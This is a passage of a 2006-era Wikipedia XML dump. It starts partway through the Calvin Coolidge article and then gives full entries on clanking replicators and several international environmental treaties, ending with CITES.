Coolidge published an [[autobiography]] in 1929 and wrote a syndicated newspaper column, &quot;Calvin Coolidge Says,&quot; from 1930-1931. He died suddenly of coronary [[thrombosis]] at his home, &quot;The Beeches,&quot; at 12:45 p.m. in [[Northampton, Massachusetts]] on [[January 5]], [[1933]] at the age of 60.  Prior to his death, Coolidge felt disappointed about Hoover's re-election defeat, after which his health began to decline very rapidly. Shortly before his death, Coolidge confided to an old friend: &quot;I feel I no longer fit in these times.&quot;

Coolidge is buried beneath a simple headstone in Notch Cemetery, [[Plymouth Notch]], Vermont, where the family homestead is maintained as a museum. The State of Vermont dedicated a new historic-site visitors' center nearby to mark Coolidge's 100th birthday on [[July 4]], [[1972]].

==References==
===Scholarly sources===
* Fuess, Claude M. ''Calvin Coolidge: The Man from Vermont'' (1940)
* Sobel, Robert ''Coolidge: An American Enigma'' (1998)
* Ferrell, Robert H. ''The Presidency of Calvin Coolidge'' (1998)
* McCoy, Donald ''Calvin Coolidge: A Biography'' (2000)
* Russell, Francis. ''A City in Terror: Calvin Coolidge and the 1919 Boston Police Strike'' (2005)
* [http://www.questia.com/PM.qst?a=o&amp;d=1105748 White, William Allen. ''A Puritan in Babylon: The Story of Calvin Coolidge'' (1938)]

===Primary sources===
* [http://www.questia.com/PM.qst?a=o&amp;d=82302633 Coolidge, Calvin. ''The Autobiography of Calvin Coolidge'' (1929)]
* [http://www.questia.com/PM.qst?a=o&amp;d=77365439 ''The Talkative President: The Off-The-Record Press Conferences of Calvin Coolidge'' edited by Howard H. Quint and Robert H. Ferrell (1964)]

===Other===
An academic conference on Coolidge was held July 30-31, [[1998]], at the [[John F. Kennedy Library]] to mark the 75th anniversary of his lantern-light homestead inaugural.

==Notes==
&lt;references/&gt;

== Noted Quotes ==
*&quot;Collecting more taxes than absolutely necessary is legalized robbery.&quot;
*&quot;I have noticed that nothing I never said ever did me any harm.&quot;
*&quot;Patriotism is easy to understand in America. It means looking out for yourself by looking out for your country.&quot;
*&quot;Nothing in the world can take the place of persistence.  Talent will not; nothing is more common than unsuccessful people with talent.  Genius will not; unrewarded genius is almost a proverb.  Education will not; the world is full of educated derelicts.  Persistence and determination alone are omnipotent.  The slogan &quot;press on&quot; has solved and always will solve the problems of the human race.&quot;
*&quot;The nation which forgets its defenders will be itself forgotten.&quot;
*&quot;We do not need more intellectual power, we need more moral power. We do not need more knowledge, we need more character. We do not need more government, we need more culture. We do not need more law, we need more religion. We do not need more of the things that are seen, we need more of the things that are unseen. If the foundation be firm, the foundation will stand.&quot;
*&quot;You lose.&quot;  (His wife, Grace Goodhue Coolidge, recounted that a young woman sitting next to Coolidge at a dinner party confided to him she had bet she could get at least three words of conversation from him. Without looking at her he quietly retorted, &quot;You lose.&quot;)
*&quot;I do not choose to run for President in 1928.&quot;
*&quot;Perhaps one of the most important accomplishments of my administration has been minding my own business.&quot;
*&quot;The chief business of the American people is business.&quot; (Full quote: &quot;After all, the chief business of the American people is business. They are profoundly concerned with producing, buying, selling, investing, and prospering in the world. I am strongly of the opinion that the great majority of people will always find these are moving impulses in our life. . . . In all experience, the accumulation of wealth means the multiplication of schools, the encouragement of science, the increase of knowledge, the dissemination of intelligence, the broadening of outlook, the expansion of liberties, the widening of culture. Of course the accumulation of wealth cannot be justified as the chief end of existence. But we are compelled to recognize it as a means to well-nigh every desirable achievement. So long as wealth is made the means and not the end, we need not greatly fear it. And there never was a time when wealth was so generally regarded as a means, or so little regarded as an end, as today. It is only those who do not understand our people who believe that our national life is entirely absorbed by material motives. We make no concealment of the fact that we want wealth, but there are many other things that we want very much more. We want peace and honor, and that charity which is so strong an element of all civilization. The chief ideal of the American people is idealism. I cannot repeat too often that America is a nation of idealists. . . . . No newspaper can be a success which fails to appeal to that element of our national life.&quot;
*&quot;There is no right to strike against the public safety of anybody, anywhere, any time.&quot;
*&quot;It's hard to imagine Senator Borah going in the same direction as his horse.&quot; (After he was told a Southern senator, named Borah, often went riding around Washington, D.C. The senator was reputedly extremely headstrong.)
*&quot;Nothing in the world can take the place of persistence. Talent will not; nothing is more common than unsuccessful men with talent. Genius will not; unrewarded genius is almost a proverb. Education will not; the world is full of educated derelicts. Persistence and determination alone are omnipotent. The slogan, 'press on' has solved, and always will solve, the problems of the human race.&quot;

==Media==
{{multi-video start}}
{{multi-video item |
  filename      =  Calvin Coolidge video montage.ogg|
  title         =  Calvin Coolidge video montage|
  description   =Collection of video clips of the president.  (4.0 [[Megabyte|MB]], [[ogg]]/[[Theora]] format). |
  format        = [[Theora]]
}}
{{multi-video end}}

== See also ==
* [[U.S. presidential election, 1920]]
* [[U.S. presidential election, 1924]]
* [[Coolidge effect]]

==External sources==
*[[Robert N. Sobel]] published '''Coolidge: An American Enigma''' in 1998.

== External links ==
{{wikisource author}}
{{wikiquote}}
* [http://www.whitehouse.gov/history/presidents/cc30.html Official White House biography]
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/coolidge.htm Inaugural Address]
* [http://vvl.lib.msu.edu/showfindingaid.cfm?findaidid=CoolidgeC Audio clips of Coolidge's speeches]
* [http://www.usa-presidents.info/coolidge.htm Calvin Coolidge Biography]
* [http://www.usa-presidents.info/union/coolidge-1.html 1st State of the Union Address of Calvin Coolidge]
* [http://www.usa-presidents.info/union/coolidge-2.html 2nd State of the Union Address of Calvin Coolidge]
* [http://www.usa-presidents.info/union/coolidge-3.html 3rd State of the Union Address of Calvin Coolidge]
* [http://www.usa-presidents.info/union/coolidge-4.html 4th State of the Union Address of Calvin Coolidge]
* [http://www.usa-presidents.info/union/coolidge-5.html 5th State of the Union Address of Calvin Coolidge]
* [http://www.usa-presidents.info/union/coolidge-6.html 6th State of the Union Address of Calvin Coolidge]
* [http://www.calvin-coolidge.org/ Calvin Coolige Memorial Foundation]
* [http://memory.loc.gov/ammem/coolhtml/coolhome.html Prosperity and Thrift: The Coolidge Era] at the Library of Congress 
* [http://www.davidpietrusza.com/coolidge-links.html Calvin Coolidge Links]
* {{gutenberg author| id=Calvin+Coolidge | name=Calvin Coolidge}}
* [http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=6551998  Find-A-Grave profile for Calvin Coolidge]
{{start box}}
{{succession box|title=[[List of Governors of Massachusetts|Lieutenant-Governor of Massachusetts]]|before=[[Samuel W. McCall]]|after=[[Channing H. Cox]]|years=1916 &amp;ndash; 1918}}
{{succession box|title=[[List of Governors of Massachusetts|Governor of Massachusetts]]|before=[[Samuel W. McCall]]|after=[[Channing H. Cox]]|years=1919 &amp;ndash; 1921}}
{{succession box|title=[[United States Republican Party|Republican Party]] [[Vice President of the United States|Vice Presidential]] [[:Category:Republican Party (United States) vice presidential nominees|candidate]]|before=[[Charles W. Fairbanks]]|after=[[Charles G. Dawes]]|years=[[U.S. presidential election, 1920|1920]] (won)}}
{{succession box|title=[[Vice President of the United States]]|before=[[Thomas R. Marshall]]|after=[[Charles Dawes]]|years=[[March 4]], [[1921]] &amp;ndash; [[August 2]], [[1923]]&lt;sup&gt;(a)&lt;/sup&gt;}}
{{succession box|title=[[President of the United States]]|before=[[Warren G. Harding]]|after=[[Herbert Hoover]]|years=[[August 2]], [[1923]]&lt;sup&gt;(b)&lt;/sup&gt; &amp;ndash; [[March 3]], [[1929]]&lt;!-- Prior to the passage of the 20th Amendment, presidential terms ended at 11:59:59 on March 3. --&gt;|}}
{{succession box|title=[[United States Republican Party|Republican Party]] [[President of the United States|Presidential]] [[:Category:Republican Party (United States) presidential nominees|candidate]]|before=[[Warren G. Harding]]|after=[[Herbert Hoover]]|years=[[U.S. presidential election, 1924|1924]] (won)}}
{{succession footnote| marker=&lt;sup&gt;(a)&lt;/sup&gt;| footnote=President Harding died on August 2.}}
{{succession footnote| marker=&lt;sup&gt;(b)&lt;/sup&gt;| footnote=Coolidge took the oath of office on August 3.}}
{{end box}}

{{start box}}
{{USpresidents | before=[[Warren G. Harding|Harding]] | after=[[Herbert Hoover|Hoover]]| years=[[1923]]&amp;ndash;[[1929]]}}
{{end box}}

{{US Vice Presidents}}
{{USRepPresNominees}}
{{USRepVicePresNominees}}
{{MAGovernors}}

[[Category:1872 births|Coolidge, Calvin]]
[[Category:1933 deaths|Coolidge, Calvin]]
[[Category:Congregationalists|Coolidge, Calvin]]
[[Category:Governors of Massachusetts|Coolidge, Calvin]]
[[Category:People from Vermont|Coolidge, Calvin]]
[[Category:Presidents of the United States|Coolidge, Calvin]]
[[Category:Lieutenant Governors of Massachusetts|Coolidge, Calvin]]
[[Category:Republican Party (United States) presidential nominees|Coolidge, Calvin]]
[[Category:Republican Party (United States) vice presidential nominees|Coolidge, Calvin]]
[[Category:Vice Presidents of the United States|Coolidge, Calvin]]
[[Category:Phi Gamma Delta brothers|Coolidge, Calvin]]
{{Persondata
|NAME=Coolidge, Calvin
|ALTERNATIVE NAMES=Coolidge, John Calvin Jr.
|SHORT DESCRIPTION=30th U.S. President
|DATE OF BIRTH=[[July 4]], [[1872]]
|PLACE OF BIRTH=[[Plymouth, Vermont]], [[United States of America]]
|DATE OF DEATH=[[January 5]], [[1933]]
|PLACE OF DEATH=[[Northampton, Massachusetts]], [[United States of America]]
}}

[[da:Calvin Coolidge]]
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[[eo:Calvin COOLIDGE]]
[[es:Calvin Coolidge]]
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[[gl:John Calvin Coolidge, Jr.]]
[[he:קלווין קולידג']]
[[id:Calvin Coolidge]]
[[it:Calvin Coolidge]]
[[ja:カルビン・クーリッジ]]
[[nl:Calvin Coolidge]]
[[nn:Calvin Coolidge]]
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[[zh:卡尔文·柯立芝]]</text>
    </revision>
  </page>
  <page>
    <title>Clanking Replicator</title>
    <id>6196</id>
    <revision>
      <id>15904354</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Clanking replicator]]
</text>
    </revision>
  </page>
  <page>
    <title>Clanking replicator</title>
    <id>6197</id>
    <revision>
      <id>39917516</id>
      <timestamp>2006-02-16T20:38:16Z</timestamp>
      <contributor>
        <username>Newsmare</username>
        <id>696425</id>
      </contributor>
      <minor />
      <comment>/* Other notable works containing clanking replicators */  removed Deus Ex, as that focuses on nanotech.</comment>
      <text xml:space="preserve">A '''clanking replicator''' is an artificial [[self-replication|self-replicating]] system that relies on conventional large-scale technology and automation. The term evolved to distinguish such systems from the microscopic &quot;[[assembler (nanotechnology)|assembler]]s&quot; that [[nanotechnology]] may make possible (in the event that nanomachines endlessly replicated themselves, it would be called [[grey goo]]). They are also sometimes called &quot;Auxons&quot;, from the [[Greek language|Greek]] word ''auxein'' which means &quot;to grow&quot;, or &quot;[[von Neumann machine]]s&quot; after [[John von Neumann]], who first rigorously studied the idea. This last term (&quot;von Neumann machine&quot;) is less specific and also refers to a completely unrelated computer architecture proposed by von Neumann, so its use is discouraged where accuracy is important. Von Neumann himself used the term [[Universal Constructor]].

==Basic concept==
A [[self-replicating machine]] would need to have the capacity to gather energy and [[raw material]]s, process the raw materials into finished components, and then assemble them into a copy of itself. It is unlikely that this would all be contained within a single [[monolithic]] structure, but would rather be a group of cooperating machines or an automated factory that is capable of manufacturing all of the machines that make it up.
The factory could produce mining [[robot|robots]] to collect raw materials, construction robots to put new machines together, and repair robots to maintain itself against wear and tear, all without human intervention or direction. The advantage of such a system lies in its ability to expand its own capacity rapidly and without additional human effort; in essence, the initial investment required to construct the first clanking replicator would have an arbitrarily large payoff with no additional labor cost.

Such a [[machine]] violates no [[physical law]]s, and we already possess the basic technologies necessary for some of the more detailed proposed designs.

Noting another proof that self-replicating machines are possible is the simple fact that all living organisms are self replicating by definition.

==History of the concept==
The idea of non-biological self-replicating systems was first seriously suggested by mathematician [[John von Neumann]] in the late [[1940s]] when he proposed a [[kinematic]] self-reproducing automaton model as a [[thought experiment]]. See von Neumann, J., [[1966]], ''The Theory of Self-reproducing Automata'', A. Burks, ed., Univ. of Illinois Press, Urbana, IL. 

===Advanced Automation for Space Missions===
In [[1980]], [[NASA]] conducted a summer study entitled
''[http://en.wikisource.org/wiki/Advanced_Automation_for_Space_Missions Advanced Automation for Space Missions]'', edited by [[Robert Freitas]], to produce a detailed proposal for self-replicating factories to develop [[Moon|lunar]] resources without requiring additional launches or human workers on-site. The proposed system would have been capable of [[exponential growth|exponentially increasing]] productive capacity. The design could be modified to build [[Von Neumann probe]]s to explore the galaxy. 

The reference design specified small computer-controlled electric carts running on rails.  Each cart could have a simple hand or a small bull-dozer shovel, forming a basic [[robot]].

Power would be provided by a &quot;canopy&quot; of solar cells supported on pillars.  The other machinery could run under the canopy.  

A &quot;[[casting]] [[robot]]&quot; would use a robotic arm with a few sculpting tools to make [[plaster]] [[molding_(process)|mold]]s.  Plaster molds are easy to make, and can make precise parts with good surface finishes.  The robot would then cast most of the parts either from nonconductive molten rock ([[basalt]]) or purified metals.  An [[electricity|electric]] [[oven]] would melt the materials. A carbon dioxide laser cutting and welding system was also included.

A more speculative, more complex &quot;chip factory&quot; was specified to produce the computer and electronic systems, but the designers also said that it might prove practical to ship the chips from Earth as if they were &quot;vitamins.&quot;

Much of the design study was concerned with a simple, flexible chemical system for processing the ores, and the differences between the ratio of elements needed by the replicator, and the ratios available in lunar [[regolith]].  The element that most limited the growth rate was [[chlorine]], needed to process regolith for [[aluminium]].  Chlorine is very rare in lunar regolith, so the design recycled it.

===Other references===
* [[Freeman Dyson]] expanded upon Neumann's automata theories, and advanced a biotechnology-inspired theory. See [[Astrochicken]].

*The first technical design study of a self-replicating interstellar probe was published in a [http://www.rfreitas.com/Astro/ReproJBISJuly1980.htm 1980 paper] by [[Robert Freitas]]

*Clanking replicators are also mentioned briefly in the [http://www.foresight.org/EOC/EOC_Chapter_4.html#section01of03 fourth chapter] of [[K. Eric Drexler|K. Eric Drexler's]] [[1986]] book ''[[Engines of Creation]]''. 

*Article about a proposed clanking replicator system to be used for developing Earthly deserts in the October [[1995]] [[Discover Magazine]], featuring forests of solar panels that powered desalination equipment to irrigate the land. 

*In [[1998]], [[Chris Phoenix]] [http://groups.google.com/groups?hl=en&amp;selm=6f0nui%248ih%241%40news.nanospace.com suggested] a general idea for a macroscale replicator on the sci.nanotech [[usenet|newsgroup]], operating in a pool of [[ultraviolet]]-cured liquid [[plastic]], selectively solidifying the plastic to form solid parts. Computation could be done by [[fluidic logic]]. Power for the process could be supplied by a pressurized source of the liquid.

*In [[2004]], General Dynamics completed a [http://www.niac.usra.edu/files/studies/final_report/883Toth-Fejel.pdf study] for NASA's Institute for Advanced Concepts.  It  concluded that complexity of the development was equal to that of a Pentium 4, and promoted a design based on cellular automata.

*In 2004, [[Robert Freitas]] and [[Ralph Merkle]] published the first comprehensive review of the field of self-replication, in their book [http://www.MolecularAssembler.com/KSRM.htm Kinematic Self-Replicating Machines], which includes 3000+ literature references.

*In 2005, [[Adrian Bowyer]] of the [[University of Bath]] started the [[RepRap]] project to develop a [[rapid prototyping]] machine which would be able to replicate itself, making such machines cheap enough for people to buy and use in their homes.  The project is releasing material under the [[GNU GPL]]. [http://staff.bath.ac.uk/ensab/replicator/]

==Clanking replicators in fiction==
In fiction, the idea dates back at least as far as [[Karel &amp;#268;apek]]'s [[1921]] play ''[[R.U.R. (Rossum's Universal Robots)]]''.

An early treatment was the short story ''[[Autofac]]'' by [[Philip K. Dick]], published in [[1955]], which precedes von Neumann's original paper about self-reproducing machines. Dick also touched on this theme in his earlier [[1953]] short story ''[[Second Variety]]''. Another example can be found in the [[1962]] short story ''[[Epilogue (short story)|Epilogue]]'' by [[Poul Anderson]], in which self-replicating factory barges were proposed that used minerals extracted from ocean water as raw materials.

In his short story &quot;Crabs on the Island&quot; ([[1958]]) [[Anatoli Dneprov]] speculated on the idea that since the replication process is never 100% accurate, leading to slight differences in the descendants, over several generations of replication the machines would be subjected to [[evolution]] similar to that of living organisms. In the story, a machine is designed, the sole purpose of which is to find metal to produce copies of itself, intended to be used as a weapon against an enemy's war machines. The machines are released on a deserted island, the idea being that once the available metal is all used and they start fighting each other, [[natural selection]] will enhance their design. However, the evolution has stopped by itself when the last descendant, an enormously largy crab, was created, being unable to reproduce itself due to lack of energy and materials.

[[Stanisław Lem]] has also studied the same idea in his novel ''[[The Invincible]]'' ([[1964]]), in which the crew of a spacecraft landing on a distant planet finds non-biological life-form, which is the product of long, possibly of millions of years of mechanical evolution. This phenomenon is also key to the aforementioned Anderson story.

[[John Sladek]] used the concept to humorous ends in his first novel ''The Reproductive System'' (1968, also titled ''Mechasm'' in some markets), where a U.S. military research project goes out of control.

NASA's Advanced Automation for Space Missions study directly inspired the science fiction novel ''[[Code of the Lifemaker]]'' (1983) by author [[James P. Hogan (writer)|James P. Hogan]]. 

More modern references to this idea can also be seen in the TV show ''[[Stargate SG-1]]'' with the race called [[Replicator (Stargate)|Replicator]]s, in which self-replication is achieved and enhanced through absorption of raw materials and technology; this however follows the [[Grey goo]] scenario.

The movie ''[[Screamers (film)|Screamers]]'', based on Dick's short story ''Second Variety'', features a group of robot weapons created by mankind to act as Von Neumann devices / berserkers. The original robots are subterranean buzzsaws that make a screaming sound as they approach a potential victim beneath the soil. These machines are self-replicating and, as is found out through the course of the movie, they are quite intelligent and have managed to &quot;evolve&quot; into newer, more dangerous forms, most notably human forms which the real humans in the movie cannot tell apart from other real humans except by trial and error.

===Other notable works containing clanking replicators===
*&quot;[[Autofac]]&quot; by [[Philip K. Dick]]
*The [[Berserker (Saberhagen)|Berserker]] series of books and short stories by [[Fred Saberhagen]]
*''[[The Forge of God]] by [[Greg Bear]]
*''[[2010: Odyssey Two]] by [[Arthur C. Clarke]]
*''[[The World at the End of Time]]'' by [[Frederik Pohl]]
*''[[Recursion (novel)|Recursion]]'' by [[Tony Ballantyne]] ISBN 0330426990
*''[[Evolution (Stephen Baxter novel)|Evolution]]'' by [[Stephen Baxter]]

==Prospects for implementation==
As the use of industrial automation has expanded over time, some factories have begun to approach a semblance of self-sufficiency that is suggestive of clanking replicators. However, such factories are unlikely to achieve &quot;full closure&quot; until the cost and flexibility of automated machinery comes close to that of human labour and the manufacture of spare parts and other components locally becomes more economical than transporting them from elsewhere. Fully-capable machine replicators are most useful for developing resources in dangerous environments which are not easily reached by existing transportation systems.

A clanking replicator can be considered to be a form of [[artificial life]]. Depending on its design, it might be subject to evolution over long time periods. However, with robust [[error correction]], and the possibility of external intervention, the common [[science fiction]] theme of robotic life run amok is unlikely in the near term.

==Etymology==
It should probably be noted that ''clanking'' is an example of [[onomatopoeia]], understandable to some English speakers, but not to all. The term is meant to evoke the image of a nineteenth century factory, powered by [[steam]], pushing [[gear]]s and rods, noisy and clamorous.

[[Category:Robots]]
[[Category:Artificial life]]
[[Category:Robotics]]</text>
    </revision>
  </page>
  <page>
    <title>Convention on Biological Diversity</title>
    <id>6198</id>
    <revision>
      <id>41945249</id>
      <timestamp>2006-03-02T20:22:19Z</timestamp>
      <contributor>
        <ip>207.81.107.130</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">The '''Convention on Biological Diversity''' is an international [[treaty]] that was adopted at the [[Earth Summit]] in [[Rio de Janeiro]] in [[1992]]. The Convention has three main goals:
#conservation of biological diversity (or [[biodiversity]]);
#sustainable use of its components; and
#fair and equitable sharing of benefits arising from genetic resources.
In other words, its objective is to develop national strategies for the conservation and sustainable use of biological diversity. It is often seen as the key document regarding [[sustainable development]].

It was opened for signature on [[June 5]], [[1992]] and entered into force on [[December 29]], [[1993]].

== Parties ==

''176'' - [[Albania]], [[Algeria]], [[Angola]], [[Antigua and Barbuda]], [[Argentina]], [[Armenia]], [[Australia]], [[Austria]], [[Azerbaijan]], The [[Bahamas]], [[Bahrain]], [[Bangladesh]], [[Barbados]], [[Belarus]], [[Belgium]], [[Belize]], [[Benin]], [[Bhutan]], [[Bolivia]], [[Botswana]], [[Brazil]], [[Bulgaria]], [[Burkina Faso]], [[Burma]], [[Burundi]], [[Cambodia]], [[Cameroon]], [[Canada]], [[Cape Verde]], [[Central African Republic]], [[Chad]], [[Chile]], [[People's Republic of China]], [[Colombia]], [[Comoros]], [[Democratic Republic of the Congo]], [[Republic of the Congo]], [[Cook Islands]], [[Costa Rica]], [[Côte d'Ivoire]], [[Croatia]], [[Cuba]], [[Cyprus]], [[Czech Republic]], [[Denmark]], [[Djibouti]], [[Dominica]], [[Dominican Republic]], [[Ecuador]], [[Egypt]], [[El Salvador]], [[Equatorial Guinea]], [[Eritrea]], [[Estonia]], [[Ethiopia]], [[EU]], [[Fiji]], [[Finland]], [[France]], [[Gabon]], [[The Gambia]], [[Georgia (country)|Georgia]], [[Germany]], [[Ghana]], [[Greece]], [[Grenada]], [[Guatemala]], [[Guinea]], [[Guinea-Bissau]], [[Guyana]], [[Haiti]], [[Honduras]], [[Hungary]], [[Iceland]], [[India]], [[Indonesia]], [[Iran]], [[Republic of Ireland|Ireland]], [[Israel]], [[Italy]], [[Jamaica]], [[Japan]], [[Jordan]], [[Kazakhstan]], [[Kenya]], [[Kiribati]], [[North Korea]], [[South Korea]], [[Kyrgyzstan]], [[Laos]], [[Latvia]], [[Lebanon]], [[Lesotho]], [[Liberia]], [[Libya]], [[Liechtenstein]], [[Lithuania]], [[Luxembourg]], The Former Yugoslav [[Republic of Macedonia]], [[Madagascar]], [[Malawi]], [[Malaysia]], [[Maldives]], [[Mali]], [[Malta]], [[Marshall Islands]], [[Mauritania]], [[Mauritius]], [[Mexico]], [[Federated States of Micronesia]], [[Republic of Moldova|Moldova]], [[Monaco]], [[Mongolia]], [[Morocco]], [[Mozambique]], [[Namibia]], [[Nauru]], [[Nepal]], [[Netherlands]], [[New Zealand]], [[Nicaragua]], [[Niger]], [[Nigeria]], [[Niue]], [[Norway]], [[Oman]], [[Pakistan]], [[Palau]], [[Panama]], [[Papua New Guinea]], [[Paraguay]], [[Peru]], [[Philippines]], [[Poland]], [[Portugal]], [[Qatar]], [[Romania]], [[Russia]], [[Rwanda]], [[Saint Kitts and Nevis]], [[Saint Lucia]], [[Saint Vincent and the Grenadines]], [[Samoa]], [[San Marino]], [[São Tomé and Príncipe]], [[Saudi Arabia]], [[Senegal]], [[Seychelles]], [[Sierra Leone]], [[Singapore]], [[Slovakia]], [[Slovenia]], [[Solomon Islands]], [[South Africa]], [[Spain]], [[Sri Lanka]], [[Sudan]], [[Suriname]], [[Swaziland]], [[Sweden]], [[Switzerland]], [[Syria]], [[Tajikistan]], [[Tanzania]], [[Togo]], [[Tonga]], [[Trinidad and Tobago]], [[Tunisia]], [[Turkey]], [[Turkmenistan]], [[Uganda]], [[Ukraine]], [[United Arab Emirates]], [[United Kingdom]], [[Uruguay]], [[Uzbekistan]], [[Vanuatu]], [[Venezuela]], [[Vietnam]], [[Yemen]], [[Zambia]], [[Zimbabwe]]

''Countries that have signed, but not yet ratified'' - (6) [[Afghanistan]], [[Kuwait]], [[Serbia and Montenegro]], [[Thailand]], [[Tuvalu]], [[United States]]

== See also == 

* [[Agreement on Trade-Related Aspects of Intellectual Property Rights]] (TRIPs)
* [[Biopiracy]]
* [[Bioprospecting]]
* [[Biosphere Reserve]]
* [[Cartagena Protocol on Biosafety]]
* [[Ecotourism]]
* [[Endangered species]]
* [[Environmental agreements]]
* [[International Treaty on Plant Genetic Resources for Food and Agriculture]]

''This article is partly based on the relevant entry in the [[CIA World Factbook]], [[as of 2003|2003]] edition.''

== External links ==

* [http://www.biodiv.org/convention/default.shtml The Convention on Biological Diversity] on the Biosafety Clearing-House (BCH) web site, an &quot;information exchange mechanism&quot; established by the Cartagena Protocol on Biosafety
* [http://www.cjly.net/deconstructingdinner/020906.htm Terminator seed technology and the Convention on Biological Diversity - Kootenay Co-op Radio's Deconstructing Dinner]

[[Category:Biodiversity]]
[[Category:Treaties on the environment]]
[[Category:1993 in law]]
[[Category:United Nations]]

[[da:Konvention om biologisk diversitet]]
[[de:Biodiversitäts-Konvention]]
[[ja:生物の多様性に関する条約]]
[[no:Konvensjonen om biologisk mangfold]]</text>
    </revision>
  </page>
  <page>
    <title>Convention on Fishing and Conservation of Living Resources of the High Seas</title>
    <id>6199</id>
    <revision>
      <id>32690174</id>
      <timestamp>2005-12-25T16:46:11Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <comment>making an intro paragraph out of the objectives paragraph</comment>
      <text xml:space="preserve">The '''Convention on Fishing and Conservation of Living Resources of the High Seas''' is an agreement that was designed to solve through international cooperation the problems involved in the conservation of living resources of the high seas, considering that because of the development of modern technology some of these resources are in danger of being overexploited.

''opened for signature -'' [[April 29|29 April]] [[1958]]

''entered into force -'' [[March 20|20 March]] [[1966]]

''parties -'' (37) [[Australia]], [[Belgium]], [[Bosnia and Herzegovina]], [[Burkina Faso]], [[Cambodia]], [[Colombia]], [[Denmark]], [[Dominican Republic]], [[Fiji]], [[Finland]], [[France]], [[Haiti]], [[Jamaica]], [[Kenya]], [[Lesotho]], [[Madagascar]], [[Malawi]], [[Malaysia]], [[Mauritius]], [[Mexico]], [[Netherlands]], [[Nigeria]], [[Portugal]], [[Senegal]], [[Serbia and Montenegro]], [[Sierra Leone]], [[Solomon Islands]], [[South Africa]], [[Spain]], [[Switzerland]], [[Thailand]], [[Tonga]], [[Trinidad and Tobago]], [[Uganda]], [[United Kingdom]], [[United States]], [[Venezuela]]

''countries that have signed, but not yet ratified -'' (21) [[Afghanistan]], [[Argentina]], [[Bolivia]], [[Canada]], [[Costa Rica]], [[Cuba]], [[Ghana]], [[Iceland]], [[Indonesia]], [[Iran]], [[Republic of Ireland|Ireland]], [[Israel]], [[Lebanon]], [[Liberia]], [[Nepal]], [[New Zealand]], [[Pakistan]], [[Panama]], [[Sri Lanka]], [[Tunisia]], [[Uruguay]]

'''Source:''' [[CIA World Factbook]], [[as of 2003|2003]] edition

[[Category:Treaties on the environment]]
[[Category:1966 in law]]</text>
    </revision>
  </page>
  <page>
    <title>Convention on Long-Range Transboundary Air Pollution</title>
    <id>6200</id>
    <revision>
      <id>34370071</id>
      <timestamp>2006-01-08T14:55:24Z</timestamp>
      <contributor>
        <username>Vasil</username>
        <id>762620</id>
      </contributor>
      <minor />
      <text xml:space="preserve">The '''Convention on Long-Range Transboundary Air Pollution''', often abbreviated as '''Air Pollution''', is intended to protect the human environment against [[air pollution]] and to gradually reduce and prevent air pollution, including long-range transboundary air pollution.

''opened for signature -'' [[November 13|13 November]] [[1979]]

''entered into force -'' [[March 16|16 March]] [[1983]]

''parties -'' (48) [[Armenia]], [[Austria]], [[Belarus]], [[Belgium]], [[Bosnia and Herzegovina]], [[Bulgaria]], [[Canada]], [[Croatia]], [[Cyprus]], [[Czech Republic]], [[Denmark]], [[Estonia]], [[European Union]], [[Finland]], [[France]], [[Georgia (country)|Georgia]], [[Germany]], [[Greece]], [[Hungary]], [[Iceland]], [[Republic of Ireland|Ireland]], [[Italy]], [[Kazakhstan]], [[Kyrgyzstan]], [[Latvia]], [[Liechtenstein]], [[Lithuania]], [[Luxembourg]], [[Republic of Macedonia]], [[Malta]], [[Republic of Moldova|Moldova]], [[Monaco]], [[Netherlands]], [[Norway]], [[Poland]], [[Portugal]], [[Romania]], [[Russia]], [[Serbia and Montenegro]], [[Slovakia]], [[Slovenia]], [[Spain]], [[Sweden]], [[Switzerland]], [[Turkey]], [[Ukraine]], [[United Kingdom]], [[United States]]

''countries that have signed, but not yet ratified -'' (2) [[Holy See]], [[San Marino]]

'''Source:''' [[CIA World Factbook]], [[as of 2003|2003]] edition

''see also:'' [[environmental agreements]]

[[Category:Treaties on the environment]]
[[Category:1983 in law]]</text>
    </revision>
  </page>
  <page>
    <title>Convention on the International Trade in Endangered Species of Wild Flora and Fauna</title>
    <id>6201</id>
    <revision>
      <id>40564904</id>
      <timestamp>2006-02-21T13:41:03Z</timestamp>
      <contributor>
        <username>Palica</username>
        <id>188933</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sk Modifying: zh</comment>
      <text xml:space="preserve">The '''Convention on International Trade in Endangered Species of Wild Fauna and Flora''' ('''CITES''') is an international agreement between Governments, drafted as a result of a resolution adopted in [[1963]] at a meeting of members of the [[World Conservation Union]] (IUCN). Its aim is to ensure that international trade in specimens of wild animals and plants does not threaten their survival and accords varying degrees of protection to more than 30,000 [[species]] of animals and plants.

Not one species protected by CITES has become extinct as a result of trade since the Convention entered into force in 1975.

==The convention==
CITES is one of the largest conservation agreements in existence. Participation is voluntary, and countries that have agreed to be bound by the Convention are known as Parties. Although CITES is legally binding on the Parties, it does not take the place of national laws. Rather it provides a framework to be respected by each Party, which has to adopt its own domestic legislation to make sure that CITES is implemented at the national level.

The text of the Convention was opened for signature at a meeting of representatives of eighty countries in [[Washington, D.C.]], [[United States]], on [[3 March]] [[1973]], and entered into force on [[1 July]] [[1975]]. As of November 2005, 169 Parties had entered the convention.

==The species==
CITES works by subjecting international trade in specimens of selected species to certain controls. These require that all import, export, re-export and introduction of species covered by the Convention has to be authorized through a licensing system.

Roughly 5,000 species of animals and 28,000 species of plants are protected by CITES against over-exploitation through international trade. The [[endangered species]] are grouped in the Appendices according to how threatened they are by international trade.
* Appendix I includes species threatened with extinction. Trade in specimens of these species is permitted only in exceptional circumstances.
* Appendix II includes species not necessarily threatened with extinction, but in which trade must be controlled in order to avoid utilization incompatible with their survival.
* Appendix III contains species that are protected in at least one country, which has asked other CITES Parties for assistance in controlling the trade. 

Each Party to the Convention must designate one or more Management Authorities in charge of administering the licensing system and one or more Scientific Authorities to advise them on the effects of trade on the status of the species.

'''Source:''' [http://www.cites.org/ CITES Secretariat] (external link to official site)

==Member countries==
See [http://www.cites.org/eng/disc/parties/index.shtml official List of Parties]

==External links==
* [http://www.cites.org/ CITES homepage]

==See also==
* [[Environmental agreements]]

[[Category:Treaties on the environment]]
